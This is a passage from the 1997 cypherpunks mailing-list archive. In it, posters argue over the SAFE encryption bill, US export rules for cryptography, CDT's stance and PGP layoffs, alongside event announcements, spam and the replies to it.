Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From rah at shipwright.com Thu May 1 15:05:39 1997 From: rah at shipwright.com (Robert Hettinga) Date: Fri, 2 May 1997 06:05:39 +0800 Subject: recypherdomicilization? In-Reply-To: Message-ID: At 2:27 pm -0400 on 5/1/97, sameer wrote: > As far as operating from Anguilla -- it would require > renouncing my US citizenship, yes. Hoo, boy... Make sure you get (buy?) citizenship somewhere else first, okay, Sameer? :-). Seriously, it would be indeed a drag to have a whole bunch of cypherpunks-without-a-country out there, no matter what we all say about the evils of nation-states... Anyone out there have suggestions about a domicile of choice? Vince's old "perputual tourist" thing comes to mind, but I'm not conviced that's really practical. I heard someone talking about Belize at FC97. The Seychelles have come up around here, more than once, for those with $10million to throw around... However, I tend to agree with Tim about this whole regulatory arbitrage stuff. Nothing keeps the law honest like good software. :-). Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From snow at smoke.suba.com Thu May 1 15:18:27 1997 From: snow at smoke.suba.com (snow) Date: Fri, 2 May 1997 06:18:27 +0800 Subject: Rejecting Dialog with Government Vermin In-Reply-To: <19970429183938.08726@bywater.songbird.com> Message-ID: <199705012209.RAA01168@smoke.suba.com> > On Tue, Apr 29, 1997 at 06:03:43PM -0400, Declan McCullagh wrote: > > Think of it this way: there are tactical and strategic decisions. > > Strategically, I would like the Federal government to evolve into a form > > that's consistent with the principles of individual freedom, peace, and > > limited government enshrined in the U.S. Constitution. >><< > To put a finer point on it, what flaw existed (exists) in the founding People. They are the flaw. The Constitution relies on the voters being rational, or at least putting the country before themselves. Stupid assumption. > fathers dream and actualization that prevented it from being a stable > condition? From shamrock at netcom.com Thu May 1 15:22:16 1997 From: shamrock at netcom.com (Lucky Green) Date: Fri, 2 May 1997 06:22:16 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: <199705012023.PAA10686@mailhub.amaranth.com> Message-ID: The crucial part here is "you may not engage in any activities prohibited by Sec. 744.6 (a) or (b) of the EAR" I you read 744.6 EAR you will find the the provisions cited below only apply to nukes and missiles, not crypto. Why the quote you are citing even made it into 736 EAR is beyond me. I asked Commerce and they couldn't give me an answer either. I would assume it was either for FUD or perhaps more likely wishful thinking leading to a screw up. Regardless, the financing, etc. provisions *do not apply to crypto*. -- Lucky Green PGP encrypted mail preferred On Thu, 1 May 1997, William H. Geiger III wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > > In <199705011947.MAA17020 at gabber.c2.net>, on 05/01/97 at 01:47 PM, > sameer said: > > > >> > >> It is my understanding that not only is the above true but the financing of > >> the development of crypto off-shore is also made illegal by the new > >> restrictions. So if C2Net were to hire an independent foreign co. to > >> develop their international version it would be in volation of the current > >> regs even if no code was exported. > > > That is an incorrect understanding of the law. > > Below is the paragraph of the EAR that I am refering to: > > PART 736--[AMENDED] > > 19. Section 736.2 is amended by revising paragraph (b)(7) to read as > follows: > > > Sec. 736.2 General prohibitions and determination of applicability. > > * * * * * > (7) General Prohibition Seven--Support of Certain Activities by U.S. > persons--(i) Support of Proliferation Activities (U.S. Person > Proliferation Activity). If you are a U.S. Person as that term is defined > in Sec. 744.6(c) of the EAR, you may not engage in any activities > prohibited by Sec. 744.6 (a) or (b) of the EAR which prohibits the > performance, without a license from BXA, of certain financing, > contracting, service, support, transportation, freight forwarding, or > employment that you know will assist in certain proliferation activities > described further in part 744 of the EAR. There are no License Exceptions > to this General Prohibition Seven in part 740 of the EAR unless > specifically authorized in that part. > (ii) You may not, without a license from BXA, provide certain > technical assistance to foreign persons with respect to encryption items, > as described in Sec. 744.9 of the EAR. > * * * * * > > > It clearly states that such activity is Illegal. I would recomend that your > lawers take a second read of the EAR. > > I personaly don't care if you are in voilation of the EAR or not but you > should be aware of where you stand inreguards to this regulation so there > are no "suprises" latter on. > > - -- > - ----------------------------------------------------------- > William H. Geiger III http://www.amaranth.com/~whgiii > Geiger Consulting Cooking With Warp 4.0 > > Author of E-Secure - PGP Front End for MR/2 Ice > PGP & MR/2 the only way for secure e-mail. > > Finger whgiii at amaranth.com for PGP Key and other info > - ----------------------------------------------------------- > > Tag-O-Matic: I went window shopping...and bought OS/2! > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.2 > Comment: Registered User E-Secure v1.1 ES000000 > > iQCVAwUBM2kLNY9Co1n+aLhhAQF+RgQAlQ+hN4fWiFYZLqoay7WA3BD1vP59ksSB > +adrplsz7ndr7J+Zn/2hzKC+/++3/q857eGSi2eR0wrLmJshrUiHDMdBLWt+5/Rd > oEvt2q436Mt/c2Cg+IlHpVagxqXS6H7SLj+eeeLMjAHRAYMXU426tLxNYbexpmxj > rVuR0EVf0gM= > =91jP > -----END PGP SIGNATURE----- > > From lrdon at cyberstation.net Thu May 1 15:38:12 1997 From: lrdon at cyberstation.net (Gordon) Date: Fri, 2 May 1997 06:38:12 +0800 Subject: New Israel Message-ID: Oh geez... Have you heard about NEW ISRAEL yet? It is a 510 page book that addresses one of the primordial obstacles to human life and happiness on our planet Earth, the accursed Middle Eastern conundrum between the Jews and the Palestinians- Arabs-Islamics. The predicate of NEW ISRAEL calls for the creation of a coexistent, with Israel, New Israel in the southern two thirds of the Baja Peninsula, south of California, in North America, with immense benefits for all of those effected. Faced with an impossible dilemma, another choice must be made available. The book explains that new option and all the history, difficulties, and transgressions, that makes the creation of New Israel absolutely necessary. For more information, including an 18 page detailed outline of NEW ISRAEL, and the full 41 page Preface to NEW ISRAEL - which provides rich details about the reasoning and rationale foundation of NEW ISRAEL, visit the NEW ISRAEL website at : http://www.seymourtex.com/newisrael/ni.htm From shabbir at democracy.net Thu May 1 15:59:14 1997 From: shabbir at democracy.net (Shabbir Safdar) Date: Fri, 2 May 1997 06:59:14 +0800 Subject: EVENT: FCC Universal Service Hearing to be cybercast online! Message-ID: <199705012229.SAA08529@panix3.panix.com> ========================================================================= _ _ __| | ___ _ __ ___ ___ ___ _ __ __ _ ___ _ _ _ __ ___| |_ / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __| | (_| | __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | | __/ |_ \__,_|\___|_| |_| |_|\___/ \___|_| \__,_|\___|\__, (_)_| |_|\___|\__| |___/ Government Without Walls Update No.6 http:/www.democracy.net/ May 1 1997 _________________________________________________________________________ Table of Contents - Sit in on live FCC Universal Service hearing: May 7, 9:30am Eastern - Live Town Hall Meeting with FCC Chairman Reed Hundt: May 13, 7pm Eastern - In our archive - About democracy.net / Subscription Information ___________________________________________________________________________ SIT IN ON LIVE FCC UNIVERSAL SERVICE HEARING: WEDNESDAY MAY 7, 9:30AM ET The future of Universal Service in the nation's telecommunications network is one of the key elements of our nation's communications infrastructure. At issue - how to ensure that citizens who live in rural and inner city areas have access to advanced telecommunications services, and how to pay for it. The 1996 Telecommunications Reform Act directed the FCC to answer these questions. After nearly a year of investigation, hearings, and public comment, the FCC will announce its rules on Wednesday May 7th. You can join the proceeding live. Be present, ask questions, and get answers from FCC staff after the hearing. (FCC staff are not allowed to comment on a matter before the Commission before the commissioners have made their ruling.) Best of all, FCC Chairman Reed Hundt will join democracy.net on Tuesday May 13 for an online town hall meeting. Hundt will discuss the Universal Service proceeding and respond to questions from Internet users. * Universal Service Hearing - How To Participate * DATE: Wednesday, May 7, 1997 TIME: 9:30 am Eastern / 6:30 am Pacific (Event will last +/- 3 hours) LOCATION: http://www.democracy.net In advance of the hearing, please visit http://www.democracy.net for background information on the Universal Service issue, including links to various sides of the debate. You can also submit questions in advance. _____________________________________________________________________________ LIVE TOWN HALL MEETING WITH FCC CHAIRMAN REED HUNDT: TUESDAY MAY 13, 7PM ET During the May 7th Universal Service Proceeding, Internet users can submit their questions and comments via democracy.net. On Tuesday May 13, FCC Chairman Reed Hundt will join democracy.net for a live Virtual Town Hall meeting to discuss the Universal Service proceeding, respond to Internet users questions, and discuss other Internet-related issues before the FCC. This is a great opportunity for Internet users to talk with one of the key telecommunications policy makers. * Online Town Hall Meeting with FCC Commissioner Reed Hundt * * How To Participate * DATE: Tuesday, May 13, 1997 TIME: 7:00 pm Eastern / 4:00 pm Pacific LOCATION: http://www.democracy.net Visit http://www.democracy.net/ in advance of the event to submit questions. Additional information can be found at the FCC home page: http://www.fcc.gov _______________________________________________________________________________ IN OUR ARCHIVE * ONLINE TOWN HALL MEETING WITH REP. RICK WHITE NOW AVAILABLE IN OUR ARCHIVE! "I don't want to minimize the National Security concerns -- these concerns are real - but I think we've reached the point where the National Security community is going to have to solve these problems in a new world. You can't delay the arrival of the new world forever." -Rep. Rick White on encryption at 4/10 democracy.net town hall meeting You can listen to the entire transcript of the online town hall meeting, or selected excerpts, at http://www.democracy.net/archive/04101997/ * ONLINE TOWN HALL MEETING WITH REP. ANNA ESHOO NOW AVAILABLE IN OUR ARCHIVE! "I don't think Congress should rush into making decisions about the Internet. There are still far too many Members that are not users themselves, and therefore do not understand the medium." -Rep. Anna Eshoo on Congress and the net at 4/16 democracy.net online town hall meeting You can listen to the entire transcript of the online town hall meeting, or selected excerpts, at http://www.democracy.net/archive/04161997/ _______________________________________________________________________________ ABOUT DEMOCRACY.NET / SUBSCRIPTION INFORMATION The democracy.net is a joint project of the Center for Democracy and Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore ways of enhancing citizen participation in the democratic process via the Internet. To this end, democracy.net will host live, interactive cybercasts of Congressional Hearings and online town hall meetings with key policy makers. democracy.net is made possible through the generous support of WebActive (http://www.webactive.com), Public Access Networks (http://www.panix.com), the Democracy Network (http://www.democracynet.org), and DIGEX Internet (http://www.digex.net). More information about the project and its sponsors can be found at http://www.democracy.net/about/ To receive democracy.net announcements automatically, please visit our signup form at http://www.democracy.net/ or send mail to majordomo at democracy.net with "subscribe events" in the body of the message. To stop receiving announcements on the democracy.net "events" mailing list, please send mail to majordomo at democracy.net with the phrase "unsubscribe events" in the message body. _____________________________________________________________________________ End update no.6 05/01/1997 ============================================================================= From privsoft at ix.netcom.com Thu May 1 16:04:46 1997 From: privsoft at ix.netcom.com (Steve) Date: Fri, 2 May 1997 07:04:46 +0800 Subject: Layoffs at PGP In-Reply-To: <3368FF82.4EDB@teleport.com> Message-ID: <33691F91.72DC@ix.netcom.com> If any of the person's laid off by PGP are looking for job's in the New York Metro Area, let me know, I know of some opportunities at a security related company based out of NJ. Also does anyone how many were laid off? steve From whgiii at amaranth.com Thu May 1 16:07:22 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Fri, 2 May 1997 07:07:22 +0800 Subject: Bombs Away, from The Netly News Network In-Reply-To: <199705011950.PAA24272@jafar.issl.atl.hp.com> Message-ID: <199705012158.QAA12008@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199705011950.PAA24272 at jafar.issl.atl.hp.com>, on 05/01/97 at 01:50 PM, Jeff Barber said: >Declan McCullagh writes: >> "A >> member of the DoJ committee accessed a single web site >> on the World Wide Web and obtained the titles of 110 >> different bomb-making texts." >I wonder if this was a bookstore. I did a search for "explosives" on >amazon.com and came up with at least that many titles. Only a handful >were of the Anarchist's Cookbook ilk. Most were academic or industrial >studies; a few were from US Govt or Govt-affiliated organizations. Well the whole thing is just more smoke and mirrors. The bomb used in Oklahoma required the knowledge of CHEM 101. I have several Eng. Books that go into great detail on making Nitrogen/Deasel bombs as they are routinely used in Mining operations. They are safe to store as a convenient binary explosive, easy to store, and easy to prepare as needed "on site" not to mention they are relativly cheap to use. :) I would imagine that you will have to pass a FBI/CIA/NSA security clearance before you can enroll in collage in the near future. :( - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: OS/2, Windows/0 -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 ES000000 iQCVAwUBM2khbo9Co1n+aLhhAQER6QP9FQDorcq6Y0GAgjMVi94mxJYhIP1urQt3 iBCxGLEpxOBv/TKClCc0xVy37k0VUTjyTzU4Ep8yOSBqmjbW0YMLRzCwn125G3Qe KXgREZUi7IFH9yZzZ4f5oqiRVaxJk3nMikYSylrq9F5w74+OE7BkTk5neKkP7Bql USNDq64ubXY= =TzR2 -----END PGP SIGNATURE----- From das at razor.engr.sgi.com Thu May 1 16:22:38 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Fri, 2 May 1997 07:22:38 +0800 Subject: Crypto hooks and EAR (Re: SAFE Bill is a Disaster--"Use a cipher, go to prison") In-Reply-To: Message-ID: <9705011609.ZM14377@razor.engr.sgi.com> On May 1, 11:40am, Tim May wrote: > > I'm no expert in these areas, but doesn't this consitute "providing hooks" > for strong crypto? The EARs say that a "hook" for inserting crypto modules > once a product is exported are essentially as bad as providing the crypto > before the product is exported. If the EAR says that, I would like to have a reference to the section, please, so I can look it up at jya.com. I am not saying it is not there, just that I haven't seen it, and I would like to see what the exact language is. -- Anil Das From whgiii at amaranth.com Thu May 1 16:27:41 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Fri, 2 May 1997 07:27:41 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: Message-ID: <199705012303.SAA12776@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 05/01/97 at 08:09 AM, Jonah Seiger said: >Tim - >It's too bad we may not see eye-to-eye on this one. >For what it's worth, CDT shares your concerns about the criminal provision >in the SAFE bill. We believe that as currently written, the provision is >overly broad and could create a chilling effect on the everyday use of >encryption, and unnecessary because it duplicates existing obstruction of >justice law. >We have expressed these concerns both publicly (in a letter to the >committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other >organizations - see http://www.privacy.org/ipc/safe_letter.html) and >privately in conversations with the committee staff. We hope to work with >the authors of SAFE to address these concerns, but, as you know, we are >not running this show and have to work with what the Congress gives us. >However, despite our concerns about the criminal provisions, we believe >strongly that the SAFE bill, and the bills in the Senate sponsored by >Burns and Leahy, are vitally important and should be passed. >As you know, the debate over encryption policy reform has been going on >for more than 4 years. Despite all of our efforts to promote the use of >encryption, crypto is still not widely used by the public. >The Clinton administration has not backed off from their commitment to a >global key-escrow/key-recovery system with guaranteed law enforcement >access to private keys. And despite the brilliant work of EFF on the >various legal challenges to the export restrictions, we feel this issue >will only be fully resolved through legislation. >The status quo, in our view, is not good enough. Because of the export >controls and the lack of a coherent US encryption policy, Internet users >do not have access to the privacy protecting encryption products they >need. >Congress needs to stand up to the Administration and say, with a strong >voice, "your policy is a failure - we need a different solution". That's >what SAFE, Pro-CODE, and ECPA II do. No that is not what they do. :( In addition to *RESTRICTING* the use of *DOMESTIC* crypto it provides a rather scary president: An Admendment to the Constitution of the United States is only valid if Congress says it is and only if the Rights provided by those Admendments are exercised by The People in a manner that meets Congress's approval. If Congress really want's to do somthing then let them pass a resolution that the export restrictions of crypto in the EAR is unconstitional and therfore null & void. Anything less or more is unneeded, unwanted, and unconstitional. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: I went window shopping...and bought OS/2! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 ES000000 iQCVAwUBM2kwo49Co1n+aLhhAQHM2QQAuLR47UFIQdk5oipCO7sngTtz2Z0xkSsp vlVd9/fAY3lvxtIpGj0NdTjxgjBMNeGcExZO1NIZsEhqF9FAt12w8/6cNm3i5rL4 JE8JSUGLCzYgVB9HFBmkbC0J7qyKBJD4k5VVoDAYXIjxYLsKqL1S0+EnMMCbBpCQ bhzFxCMZ5A0= =iEJa -----END PGP SIGNATURE----- From 212 at 212.net Thu May 1 16:30:41 1997 From: 212 at 212.net (Staff) Date: Fri, 2 May 1997 07:30:41 +0800 Subject: coolness Message-ID: <970501173738.2F87BD6@212.net>> nice site. why not add your url to ours?! visit http://212.net thanks. staff at http://212.net From janzen at idacom.hp.com Thu May 1 16:53:34 1997 From: janzen at idacom.hp.com (Martin Janzen) Date: Fri, 2 May 1997 07:53:34 +0800 Subject: Layoffs at PGP Message-ID: <9705012341.AA10244@sabel.idacom.hp.com> Well, PGP spokesman Mike Nelson wins the award for the Freudian slip of the day: "Internet Fast-Forward is not as closely related to the tools we develop for individuals for privacy," he said. And the fact that Fast-Forward filters ads which are an "inimical part of some of the ^^^^^^^^ emerging Web commerce models ... we don't want to hinder this development." The http://c.gp.cs.cmu.edu:5103/prog/webster server says: Inimical \In*im"i*cal\ (?; 277), a. [L. inimicalis, fr. inimicus unfriendly, hostile; pref. in- not + amicus friendly. See Amity.] 1. Having the disposition or temper of an enemy; unfriendly; unfavorable; -- chiefly applied to private, as hostile is to public, enmity. 2. Opposed in tendency, influence, or effects; antagonistic; inconsistent; incompatible; adverse; repugnant. We are at war with a system, which, by its essence, is inimical to all other governments. --Burke. Perhaps he meant "intrinsic", or "integral" -- although I rather like the version with the typo myself... :-) MJ From abd at cdt.org Thu May 1 17:07:05 1997 From: abd at cdt.org (Alan Davidson) Date: Fri, 2 May 1997 08:07:05 +0800 Subject: SAFE Bill is a Good Thing--"Crypto For The Masses" Message-ID: The SAFE encryption bill would put more non-escrow, strong encryption in the hands of many more people -- and mark the death knell for government regulation of encryption. That's why CDT supports it. That's why we hope that people who care about privacy and security online will support it too. 1. The SAFE Bill Will Bring More Strong Crypto To More People There is a right we don't have now: The right to export strong cryptography. The result is that strong, easy-to-use encryption is not seamlessly integrated into most popular products, and is not accessible to most people (who are not as technically sophisticated as the members of this list.) SAFE would legalize the export (to all but a few countries such as Iran, N. Korea, and Cuba) of non-escrow encryption *of unlimited strength* that is designed for the mass market or is in the public domain, i.e.: "(i) that is generally available, as is, and is designed for installation by the purchaser; or "(ii) that is in the public domain for which copyright or other protection is not available under title 17, United States Code, or that is available to the public because it is generally accessible to the interested public in any form;" (See also Footnote below) Translation: If it's sold in Egghead Software, it's exportable. If it's available on the Web: exportable. PGP: exportable. 3DES, IDEA, or Blowfish in mass-market products or public domain toolkits: Exportable. Exportable. Exportable. So the export control provisions in SAFE would put a lot more strong crypto -- and the freedom to use it -- in the hands of a lot more people. SAFE's export control relief is not unlimited. The bill does not allow export to Iran, Iraq, Cuba, or N. Korea (that's what the "Trading With The Enemy" provision is about); Congress is not likely to pass a law saying you can export strong crypto to Saddam Hussein. Relief is also limited for non-mass-market hardware and software (e.g., custom systems not available to the public). Non-mass-market hardware is exportable if "commercially available" in the destination country; such software is exportable according to a hard-to-parse "financial institutions" standard that roughly translates into DES. Less than ideal -- but these provisions do not apply to most of the hardware and software that most people use. What SAFE does legalize is strong, non-escrow encryption in the products that are most widely used, in almost all countries worldwide. Once *ordinary people* have strong crypto built in to the products they use every day, it will be much harder for governments to take it away or restrict it. SAFE is "strong crypto for the masses." SAFE is a huge step forward. 2. CDT Does Not Support The Criminal Provision in SAFE CDT is actively working to get the criminal provision taken out of the SAFE bill. We are not alone: CDT signed a letter with other groups including EPIC, EFF, ACLU, VTW, PGP, IEEE, and ACM, urging Congress to remove the provisions -- "while expressing our support for the measure." Contrary to reports, the SAFE bill does not say: "Use a cipher, go to prison." It does say: "Use cryptography TO COMMIT A CRIME, go to prison": 2805. Unlawful use of encryption in furtherance of a criminal act "Any person who willfully uses encryption in furtherance of the commission of a criminal offense for which the person may be prosecuted in a court of competent jurisdiction... [may be imprisoned or fined]" The Leahy bill version is narrower. It says: "Use cryptography to willfully obstruct justice in furtherance of a felony, go to prison." "Whoever willfully endeavors by means of encryption to obstruct, impede, or prevent the communication to an investigative or law enforcement officer of information in furtherance of a felony that may be prosecuted in a court of the United States shall...[may be imprisoned or fined]" CDT opposes both these provisions because they are unnecessary and could chill the use of encryption (especially by self-confessed felons like Tim May!). But they are not as sweeping as some on this list have said. On balance, CDT believes that SAFE's giant step forward of export relief and prohibitions on Executive Branch key escrow controls outweigh the problems created by these criminal provision. That is why we will fight to get criminal provisions removed, while we still support the bill. Passage of the SAFE Bill would put strong security tools in the hands of many more people. That's why CDT supports SAFE, and why we think people who care about privacy and security online should support it too. -- Alan Davidson, CDT FOOTNOTE: The Export Provisions in SAFE The export control provisions in SAFE differentiate between so-called mass-market and non-mass-market hardware and software. Mass-market software and hardware with non-escrow encryption of *unlimited strength* may be exported under the Act to all but a few countries (such as Iran, N. Korea, and Cuba): (2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be required, except pursuant to the Trading With the Enemy Act or the International Emergency Economic Powers Act (but only to the extent that the authority of such Act is not exercised to extend controls imposed under this Act), for the export or reexport of-- "(A) any software, including software with encryption capabilities -- "(i) that is generally available, as is, and is designed for installation by the purchaser; or "(ii) that is in the public domain for which copyright or other protection is not available under title 17, United States Code, or that is available to the public because it is generally accessible to the interested public in any form; or "(B) any computing device solely because it incorporates or employs in any form software (including software with encryption capabilities) exempted from any - requirement for a validated license under subparagraph (A). [See http://www.cdt.org/crypto/legis_105/SAFE/hr695_text.html for the Bill's definitions of "generally available," "as is", etc.] Non-mass-market hardware and software -- suach as code not generally available to the public via the Internet, or custom implementations not generally available or sold "as is" -- receive less favorable treatment: "(3) SOFTWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary shall authorize the export or reexport of software with encryption capabilities for nonmilitary end-uses in any country to which exports of software of similar capability are permitted for use by financial institutions not controlled in fact by United States persons, unless there is substantial evidence that such software will be -- "(A) diverted to a military end-use or an end-use supporting international terrorism; "(B) modified for military or terrorist end-use; or "(C) reexported without any authorization by the United States that may be required under this Act. This "financial institutions" standard is supposed to roughly translate into DES. "(4) HARDWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary shall authorize the export or reexport of computer hardware with encryption capabilities if the Secretary determines that a product offering comparable security is commercially available outside the United States from a foreign supplier, without effective restrictions. So non-mass-market hardware can be exported *with any encryption algorithm* if a "comparable" product is available outside the U.S. from a foreign supplier without restriction. From whgiii at amaranth.com Thu May 1 17:10:31 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Fri, 2 May 1997 08:10:31 +0800 Subject: New Israel In-Reply-To: Message-ID: <199705012318.SAA12960@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 05/01/97 at 04:11 PM, Gordon said: >Oh geez... >Have you heard about NEW ISRAEL yet? It is a 510 page book >that addresses one of the primordial obstacles to human life >and happiness on our planet Earth, the accursed Middle >Eastern conundrum between the Jews and the Palestinians- >Arabs-Islamics. The predicate of NEW ISRAEL calls for the >creation of a coexistent, with Israel, New Israel in the >southern two thirds of the Baja Peninsula, south of >California, in North America, with immense benefits >for all of those effected. Faced with an impossible dilemma, >another choice must be made available. The book explains that new option >and all the history, difficulties, and >transgressions, that makes the creation of New Israel >absolutely necessary. For more information, including an >18 page detailed outline of NEW ISRAEL, and the full 41 page >Preface to NEW ISRAEL - which provides rich details about the reasoning >and rationale foundation of NEW ISRAEL, visit the NEW ISRAEL website at : > http://www.seymourtex.com/newisrael/ni.htm Yes we have all seen this *CRAP* already Gorden but *THANK YOU* for reposting this. Say hi to Don Wood for me. :-/ - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: OS/2: Bill Gates' worst nightmare! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 ES000000 iQCVAwUBM2k0Fo9Co1n+aLhhAQG8fgP+K6azOai1gOdfg5iMPTTagyrVx6d2/WtI LVC3HPURcC4qR608WFKsYq8qgfn1NZETKHj73z7/rsBaS1fa8Ic6osq5hjB9fRvE RlK3pzhMCmQVEcod7Vh+mhF4yV4CZLtxO4lcBl1fQenaZ/8znoIxH9Hh5GqfJ5pU CCrqn9DzAyI= =AN93 -----END PGP SIGNATURE----- From vznuri at netcom.com Thu May 1 17:56:08 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Fri, 2 May 1997 08:56:08 +0800 Subject: counterTCM post Message-ID: <199705020037.RAA24475@netcom5.netcom.com> in the continuing series of counterTCMeme posts, I would like to address a recent TCMeme on the subject of government. TCM asserts that the president and congress have absolutely nothing to offer american citizens, that any attempt to deal with them is a total waste of time. I generally agree that our democratic system has degenerated over the decades, to the point of being scary and dangerous in places. however, we can ask, why did it get to that point? I believe it is not because of an inherent impracticality of the government or congress. rather, it is a failure of the citizens to maintain the authority over their congressmen and president. once upon a time, citizens saw congress and the president as their servants. it led to a particular kind of ideology reflected in the policies of the country. over time, people gradually gave away this authority. they saw the president and congress as having authority over citizens, instead of vice versa. TCM's idea of telling congress and the president to f*** off is actually, in my opinion, an extreme case of people giving away their authority. it is more of the same problem, not the solution. it is failing to address the root of the problem-- that the president and congress must be put in a subservient relationship to the desires of the citizens. citizens are failing to exercise their ability to remove and replace those in power. TCM quotes De ToqueVille, "the american experiment in democracy will last until people begin to realize they can pick each other's pockets at the voting booth". there is a fallacy and a truth in this at the same time. the truth is that the citizenry is beginning to discover that the government is the greatest pickpocket of all. if it redistributed its wealth, our economy would be better off. but instead the government ties up vast amounts of wealth into (1) social programs that redistribute only a fraction of the wealth they take in, the rest caught up in bureacracy (2) weaponry that sits idle, and is so horrific that it should never be used, and (3) a national debt of borrowed money. so people are no longer trying to pick each other's pockets at the voting booth, in my opinion, but realizing that the government itself is picking everyone's pockets at tax time. everyone who pays money via taxes to the government is the employer of those in government. when was the last time you exercised some control over this money? or do you just sign it off? there are many ways that individual citizens can create leverage over their government, and increase their power over it. it is the opposite of the process by which they have given their power away. it is reversable. but to unplug oneself from the monster one has created is not possible as TCM is always campaigning. the monster will run around some more. one must uncreate the monster in the same ways it was created. I commend CDT and all other online groups for their organizational motives and drive, and condemn TCM for his pissing on them. what is he doing? he is just unplugging himself and asserting that the monster will no longer exist if he refuses to believe in it. the road to greater power is greater organization and unity while preserving individuality. the individualism that TCM promotes is actually ultimately disempowering and dangerous. the individual has no power. the solution to an oppressive society is to fix the society, not to try to find increasingly ingenious ways of hiding from it. the society will always has means of becoming more orwellian and surmounting whatever obstacles individuals place in it. if something is broken, do you fix it, or abandon it? or shoot it? TCM is always advocating the latter two. it's not a solution, and he knows it, and everyone else here knows it too. From mpd at netcom.com Thu May 1 17:57:40 1997 From: mpd at netcom.com (Mike Duvos) Date: Fri, 2 May 1997 08:57:40 +0800 Subject: New Israel In-Reply-To: <199705012318.SAA12960@mailhub.amaranth.com> Message-ID: <199705020044.RAA20453@netcom23.netcom.com> Gordon said: : The predicate of NEW ISRAEL calls for the creation of a coexistent, with : Israel, New Israel in the southern two thirds of the Baja Peninsula, south : of California, in North America. Actually, I think a better plan would be to relocate Israel to New Jersey and give the current Middle Eastern version back to the Arabs. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From shabbir at vtw.org Thu May 1 18:25:34 1997 From: shabbir at vtw.org (Shabbir J. Safdar) Date: Fri, 2 May 1997 09:25:34 +0800 Subject: SAFE Bill discussion In-Reply-To: Message-ID: The Administration hates this bill, because it threatens their ability to roll out Key Recovery. They've said as much in the letter Declan forwarded: "The bill could be read as prohibiting the United States government from using appropriate incentives to support a key management infrastructure and KEY RECOVERY." [emphasis added] Do you think that if this bill helped the Administration, that they'd be out there urging the subcommittee chairman to stop it? I think not. I'm also puzzled by the fact that CDT is being criticized pretty much solely, even though the entire Internet Privacy Coalition, and several other groups all wrote a letter of support of the bill with only a criticism of one provision. However the overall statement was of support. (see http://www.privacy.org/ipc/safe_letter.html) As far as I can tell, everyone criticizing the bill either thinks that: a) CDT actually runs all these groups behind the scenes, or b) pretty much all of the Internet advocates believe that this bill is needed and are doing the best they can with what Congress has written. You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax Reform, the Association for Computing Machinery, Computer Professionals for Social Responsiblity, Eagle Forum, the National Association for Criminal Defense Lawyers, and PGP Inc all signed this letter. Can you consider, perhaps, for a second, that critics of SAFE are being unreasonable? I would think so, as critics of SAFE include the Clinton Administration. Is that the kind of company that cypherpunks keep? Here's a great excerpt from the Internet Privacy Coalition letter: The pending bill provides a positive framework for the reforms that are long overdue in this critical area. It makes clear that the sale or use of encryption, a vital technique to promote network security and individual privacy, should not be restricted in the United States. This is the view widely shared by users of the Internet and the computer and communications industry. It was also a central recommendation of the report of the National Research Council last year. Looks like widespread support from people who study this issue for living. I'm glad to be counted among them. -S -Shabbir From shabbir at vtw.org Thu May 1 19:05:41 1997 From: shabbir at vtw.org (Shabbir J. Safdar) Date: Fri, 2 May 1997 10:05:41 +0800 Subject: INFO: SAFE pro-encryption bill passes first Congressional hurdle (5/1/1997) Message-ID: <199705020142.VAA18716@panix3.panix.com> ============================================================================= ____ _ _ _ / ___|_ __ _ _ _ __ | |_ ___ | \ | | _____ _____ | | | '__| | | | '_ \| __/ _ \ _____| \| |/ _ \ \ /\ / / __| | |___| | | |_| | |_) | || (_) |_____| |\ | __/\ V V /\__ \ \____|_| \__, | .__/ \__\___/ |_| \_|\___| \_/\_/ |___/ |___/|_| PRO-ENCRYPTION BILL 